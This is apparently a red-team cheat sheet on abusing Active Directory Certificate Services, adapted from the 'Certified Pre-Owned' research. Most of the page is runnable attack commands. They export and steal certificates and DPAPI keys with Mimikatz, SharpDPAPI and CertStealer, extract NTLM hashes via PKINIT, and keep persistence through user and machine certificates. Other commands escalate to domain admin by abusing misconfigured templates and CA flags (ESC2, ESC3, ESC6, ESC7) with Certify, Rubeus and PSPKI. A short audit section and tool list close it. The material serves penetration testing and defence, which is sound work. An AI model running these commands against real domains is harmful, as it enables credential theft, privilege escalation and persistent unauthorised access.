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AD CS Abuse

Active Directory Certificate Services

This page is a selective copy-paste of the Certified Pre-Owned PDF (mainly offensive techniques) without testing "in the wild"! When any of the discussed techniques is actually performed by me during an engagement, corresponding notes are get reviewed, supplemented with examples from my personal experience and put into a separate section, e. g. ESC1, ESC8, etc.

Glossary

  • AD CS 👉🏻 Active Directory Certificate Services

  • CA 👉🏻 Certification Authority

  • EKU 👉🏻 Extended Key Usage

  • SAN 👉🏻 Subject Alternative Name (subjectAltName)

  • CSR 👉🏻 Certificate Signing Request

  • CES 👉🏻 Certificate Enrollment Web Service

  • CAPI 👉🏻 CryptoAPI

  • CNG 👉🏻 Cryptography API: Next Generation

EKU OIDs that can enable certificate authentication:

DescriptionOID

Client Authentication

1.3.6.1.5.5.7.3.2

PKINIT Client Authentication

1.3.6.1.5.2.3.4

Smart Card Logon

1.3.6.1.4.1.311.20.2.2

Any Purpose EKU

2.5.29.37.0

Subordinate CA certificate

No EKU set

Enumerate

Enumerate AD Enterprise CAs and their settings with PowerShell:

PS > $CAs = Get-ADObject -LDAPFilter '(objectCategory=pKIEnrollmentService)' -SearchBase "CN=Configuration,DC=megacorp,DC=local"
PS > $CAs

Enumerate AD Enterprise CAs with CME:

PS > cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M adcs

Get list of certificate template names:

PS > $CATemplateNames = Get-ADObject $CAs[0].DistinguishedName -Properties certificatetemplates | Select-Object -ExpandProperty certificatetemplates
PS > $CATemplateNames
Or
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs dn,dnshostname
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(distinguishedName=CN=CorpCA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=megacorp,DC=local)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs certificateTemplates
Or (from a BH dump)
$ cat 19700101000000_templates.json | grep -oP '"name":\s*"\K[^@]*' > templates.txt

Enumerate AD Enterprise CAs with certutil from a domain-joined machine:

Cmd > certutil.exe -config - -ping
Cmd > certutil.exe -TCAInfo [-v]

Look for artefacts in RPC dumps like adcshunter does:

$ rpcdump.py <IP> | grep certsrv.exe

Enumerate CAs and templates with powerview.py:

PS > Get-CA [-Domain megacorp.local] -CheckWebEnrollment [-NoWrap] -OutFile cas_megacorp.local.txt
PS > Get-CATemplate [-Domain megacorp.local] -Enabled -ResolveSIDs [-Vulnerable] [-NoWrap] -OutFile certs_megacorp.local.txt

Hunt for Certificates

Export Certificates (THEFT1)

Export a certificate from user's context.

With certmgr:

  • Run → certmgr.msc → Action → All Tasks → Export ...

With PowerShell:

PS > Export-PfxCertificate -Password (Read-Host -AsSecureString -Prompt 'Password') -Cert (Get-Item -Path Cert:\LocalMachine\My\<CERT_THUMBPRINT>) -FilePath cert.pfx -Verbose

With CertStealer:

Cmd > .\CertStealer.exe -export pfx <CERT_THUMBPRINT>

If the private key is non-exportable, use Mimikatz's crypto::capi (to patch CAPI in current process) or crypto::cng (to patch lsass.exe memory):

Cmd > .\mimikatz.exe "crypto::capi" "crypto::certificates /export" "exit"

DPAPI User Keys (THEFT2)

Decrypt a domain user's masterkey with domain's backup key with Mimikatz:

Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /rpc" "exit"

Decrypt masterkey if user's plaintext password is known with Mimikatz:

Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /sid:<ACCOUNT_SID> /password:Passw0rd!" "exit"

Simplify the process with SharpDPAPI providing it a file with one or more {GUID}:SHA1 masterkey mappings (will output a .pem file):

Cmd > .\SharpDPAPI.exe certificates /mkfile:C:\Temp\mkeys.txt

DPAPI Machine Keys (THEFT3)

It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use the DPAPI_SYSTEM LSA secret on the system which is accessible only by the SYSTEM user:

# While elevated
Cmd > .\SharpDPAPI.exe certificates /machine

After converting the output to .pfx and if the appropriate EKU scenario is present, the adversary can use that .pfx for domain authentication as the computer account (see PERSIST2).

Search for Certificate Files (THEFT4)

Find certificate files lying around with Seatbelt:

Cmd > .\Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"
Cmd > .\Seatbelt.exe InterestingFiles

Some other certificate-related file extensions:

File ExtensionDescription

.key

The private key.

.crt/.cer

The certificate.

.csr

Signing request file. Does not contain certificates or keys.

.jks/.keystore/.keys

Java Keystore. May contain certificates + private keys used by Java apps.

List EKUs for a certificate with PowerShell:

PS > $CertPath = "C:\Users\snovvcrash\cert.pfx"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.EnhancedKeyUsageList

Parse .pfx with certutil:

Cmd > certutil.exe -dump -v cert.pfx

Correlate a certificate with a CA thumbprint on the host and in AD:

# Get cert's thumbprint
PS > $CertPath = "C:\Users\snovvcrash\cert.p12"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.Thumbprint

# Match it with CA certs' thumbprints trusted by the current host
Cmd > .\Seatbelt.exe -q CertificateThumbprints

# Match it with CA certs' thumbprints from AD
Cmd > .\Certify.exe find /quiet

Steal NTLM via PKINIT (THEFT5)

Request NTLM hash when the account is authenticated with a TGT through PKINIT with Kekeo:

Cmd > .\kekeo.exe "tgt::pac /caname:CorpCA /domain:megacorp.local /subject:snovvcrash /castore:current_user" "exit"

Persistence via Certificates

User Persistence (PERSIST1)

Find certificate templates available for enrollment for the current user:

Cmd > .\Certify.exe find /clientauth

Search for any template that allows domain authentication (a stock published template that allows client authentication is the User template).

Request a new certificate for enrolling current user context:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User

This will output a certificate and private key in .pem. To convert it to .pfx compatible with Rubeus do:

$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

After that an adversary can upload it to target and use Rubeus to request a valid TGT, for as long as the certificate is valid (default certificate lifetime is one year):

Cmd > .\Rubeus.exe asktgt /user:snovvcrash /certificate:C:\Temp\cert.pfx /password:Passw0rd!

This approach will work even if the user changes their password. Combined with the THEFT5 technique, an adversary can also persistently obtain the account's NTLM hash.

Machine Persistence (PERSIST2)

Same as for PERSIST1 but requesting a certificate for enrolling current machine context:

# While elevated
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Machine /machine

With access to a machine account certificate an adversary can use S4U2Self to obtain a Kerberos ticket to any service on the host (see RBCD Abuse) or generate a silver ticket.

Certificate Renewal

  • Certificate template validity period - determines how long an issued certificate can be used.

  • Certificate template renewal period - determines a window of time before the certificate expires where an account can renew it from the issuing certificate authority.

An adversary can renew the compromised certificate before the validity period expires, and so that extend their access to AD without requesting additional ticket enrollments.

Domain Escalation via Certificates

Modifiable SAN + Any Purpose EKU (ESC2)

Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (2.5.29.37.0).

Find template with this misconfiguration:

PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'

Request a certificate specifying the /altname as a domain admin like in ESC1.

Agent Certificate + Enroll on Behalf of Another User (ESC3)

Conditions:

  1. A template allows a low-privileged user to use an enrollment agent certificate.

  2. Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication.

1. Request an enrollment agent certificate:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Vuln-EnrollAgentTemplate

2. Request a certificate on behalf of another user based on a template that allows domain authentication:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User /onbehalfon:MEGACORP\ITAdmin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!

Vulnerable PKI Object ACEs (ESC5)

EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

This means that an adversary can enroll in any template configured for domain authentication that also allows unprivileged users to enroll (e. g., the default User template) and obtain a certificate that allows to authenticate as a domain admin or any other active user/machine.

Discover with certutil:

Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"
Or
Cmd > reg.exe query \\CA01.megacorp.local\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CorpCA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Discover with Certify:

Cmd > .\Certify.exe find

To abuse request a certificate specifying an /altname with any template that allows for domain auth (e. g., the default User template which normally doesn't allow to specify alternative names):

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User /altname:DomAdmin

This setting can be set with domain admin's privileges like this (dangerous, do not do this!):

Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2

Remove this setting:

Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

Vulnerable CA ACEs (ESC7)

Enumarate CA ACEs with Powershell PSPKI:

PS > Install-Module -Name PSPKI
PS > Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

ManageCA and ManageCertificates rights translate to the "CA Administrator" and "Certificate Manager" ("CA Officer") respectively.

The "CA Administrator" role allows to set the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (see ESC6):

# Check before setting the flag
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"

# Invoke SetConfigEntry
PS > "$(hostname) : $(whoami)"
WS01 : megacorp\CertAdmin
PSPKI > $configReader = New-Object SysadminsLV.PKI.Dcom.Implementation.CertSrvRegManagerD "CA01.megacorp.local"
PSPKI > $configReader.SetRootNode($true)
PSPKI > $configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
1114446
PSPKI > $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"

The "Certificate Manager" role allows to remotely approve pending certificate requests which can by used by an adversary to subvert the "CA certificate manager approval" protection:

# Request a certificate that requires manager approval with Certify
PS > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
PS > .\Certify.exe download /ca:CA01.megacorp.local\CorpCA /id:1337

OID Group Link Abuse (ESC13)

Audit

PS > Get-WindowsCapability -Online -Name "Rsat.*" | where Name -match "CertificateServices|ActiveDIrectory" | Add-WindowsCapability -Online
PS > cd PSPKIAudit
PS > Get-ChildItem -Recurse | Unblock-File
PS > Import-Module .\PSPKIAudit.psm1
PS > Invoke-PKIAudit -CAComputerName CA01.megacorp.local

Misc

Parse .pfx with PowerShell:

PS > $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]([System.Convert]::FromBase64String("<BASE64_PFX_CERT>"))
PS > $cert | select *

Tools

Certify

Search for vulnerable certificate templates:

Cmd > .\Certify.exe find /vulnerable

Certipy

Get TGT automatically and list CAs, servers and search for vulnerable certificate templates (output in text, JSON and BloodHound formats):

$ certipy find -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -ns 192.168.1.11 -dc-ip 192.168.1.11 [-dc-only] [-text] [-dns-tcp]

certi

Get TGT:

$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local -dc-ip 192.168.1.11

List CAs and servers (short):

$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --class service

List CAs (verbose):

$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --class ca

Search for vulnerable certificate templates:

$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --vuln --enable

PassTheCert

ADCSKiller

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